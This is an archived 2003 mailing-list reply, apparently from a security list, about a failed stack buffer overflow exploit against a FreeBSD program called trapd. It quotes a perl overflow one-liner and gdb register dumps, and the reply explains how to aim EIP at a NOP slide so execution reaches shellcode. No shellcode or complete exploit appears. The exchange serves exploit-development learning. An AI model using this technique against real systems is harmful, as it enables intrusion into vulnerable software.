Re: Cannot access memory at address 0x90909090
From: fr0stman (fr0stman_at_sun-tzu-security.net)
Date: 09/11/03
- Previous message: Ingram: "Cannot access memory at address 0x90909090"
- In reply to: Ingram: "Cannot access memory at address 0x90909090"
- Next in thread: DownBload: "Re: Cannot access memory at address 0x90909090"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: Ingram <Vail@gmx.net> Date: 11 Sep 2003 16:44:54 -0400
EIP is an instruction pointer meaning it is pointing to the next
instruction to be executed. What you want to do set EIP to a memory
address where your NOP slide exists then the NOP's will execute and
slide right to your shellcode. If your shellcode is residing in memory
at the same offset each time just point EIP to that address and don't
worry about the NOP slide.
On Thu, 2003-09-11 at 08:19, Ingram wrote:
>
> hi folks,
>
> little buffer overflow question, if i have a prog
> that segfaults like this:
>
> ------------------------------------------------
> >./trapd -M `perl -e 'print "A" x 136'`
> Segmentation fault (core dumped)
>
> > gdb ./trapd ./trapd.core
> GNU gdb 4.18 (FreeBSD)
> .
> .
> .
> Core was generated by `trapd'.
> Program terminated with signal 11, Segmentation fault.
> Reading symbols from /usr/local/lib/libsnmp.so.4...(no debugging symbols
> found)...done.
> Reading symbols from /usr/lib/libcrypto.so.3...(no debugging symbols
> found)...done.
> Reading symbols from /usr/lib/libkvm.so.2...(no debugging symbols
> found)...done.
> Reading symbols from /usr/lib/libz.so.2...(no debugging symbols
> found)...done.
> Reading symbols from /usr/lib/libm.so.2...(no debugging symbols
> found)...done.
> Reading symbols from /usr/lib/libdevstat.so.2...(no debugging symbols
> found)...done.
> Reading symbols from /usr/lib/libwrap.so.3...(no debugging symbols
> found)...done.
> Reading symbols from /usr/lib/libc.so.4...(no debugging symbols
> found)...done.
> Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols
> found)...done.
> #0 0x41414141 in ?? ()
> (gdb) i reg
> eax 0xffffffff -1
> ecx 0xe 14
> edx 0xffffffff -1
> ebx 0x280bcde8 671862248
> esp 0xbfbff8a8 0xbfbff8a8
> ebp 0x41414141 0x41414141
> esi 0x8056100 134570240
> edi 0x0 0
> eip 0x41414141 0x41414141
> eflags 0x246 582
> cs 0x1f 31
> ss 0x2f 47
> ds 0x2f 47
> es 0x2f 47
> fs 0x2f 47
> gs 0x2f 47
> (gdb)
> ------------------------------------------------
>
> ...and after that want to exploit it with a common
> stack smash exploit, why does it say:
>
> ------------------------------------------------
> #0 0x6e692e2f in ?? ()
> (gdb) bt
> #0 0x6e692e2f in ?? ()
> #1 0x90909090 in ?? ()
> Cannot access memory at address 0x90909090.
> (gdb) f 1
> #1 0x90909090 in ?? ()
> (gdb) i reg
> eax 0xffffffff -1
> ecx 0xe 14
> edx 0xffffffff -1
> ebx 0x280bcde8 671862248
> esp 0xbfbfd3f8 0xbfbfd3f8
> ebp 0x90909090 0x90909090
> esi 0x8055100 134566144
> edi 0x0 0
> eip 0x90909090 0x90909090
> eflags 0x246 582
> cs 0x1f 31
> ss 0x2f 47
> ds 0x2f 47
> es 0x2f 47
> fs 0x2f 47
> gs 0x2f 47
> (gdb) x/10i $pc
> 0x90909090: Cannot access memory at address 0x90909090.
> (gdb) x/10i $eax
> 0xffffffff: Cannot access memory at address 0xffffffff.
> (gdb) x/10i $eip
> 0x90909090: Cannot access memory at address 0x90909090.
> (gdb) x/10i $ebp
> 0x90909090: Cannot access memory at address 0x90909090.
> (gdb) x/10i $edi
> 0x0: Cannot access memory at address 0x0.
> (gdb) x/10i $ecx
> 0xe: Cannot access memory at address 0xe.
> (gdb) x/10i $esp
> 0xbfbfd3f8: fs
> 0xbfbfd3f9: gs
> 0xbfbfd3fa: js 0xbfbfd3fc
> 0xbfbfd3fc: (bad)
> 0xbfbfd3fd: aaa
> 0xbfbfd3fe: or (%eax),%ebp
> 0xbfbfd400: push %eax
> 0xbfbfd401: aam $0xffffffbf
> 0xbfbfd403: mov $0x2807a630,%edi
> 0xbfbfd408: call 0xe0e7dfda
>
> ------------------------------------------------
>
> ...if i replace '\x41\x41\x41\x41' with a valid address in my NOP space?
> Shouldn't the prog run
> through the NOPS until it reaches and executes the shellcode? Why isn't that
> the case here?
> It seems to jump, but can't execute \x90...!? I have no kernel protection or
> gcc patch.
>
>
> thanks & kind regards
> Ingram
>
> --
> COMPUTERBILD 15/03: Premium-e-mail-Dienste im Test
> --------------------------------------------------
> 1. GMX TopMail - Platz 1 und Testsieger!
> 2. GMX ProMail - Platz 2 und Preis-Qualitätssieger!
> 3. Arcor - 4. web.de - 5. T-Online - 6. freenet.de - 7. daybyday - 8. e-Post
>
-- -- fr0stman -- Victorious warriors win first and then go to war, while defeated warriors go to war first and then seek to win. Sun-tzu, The Art of War. Strategic Assessments
- Previous message: Ingram: "Cannot access memory at address 0x90909090"
- In reply to: Ingram: "Cannot access memory at address 0x90909090"
- Next in thread: DownBload: "Re: Cannot access memory at address 0x90909090"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
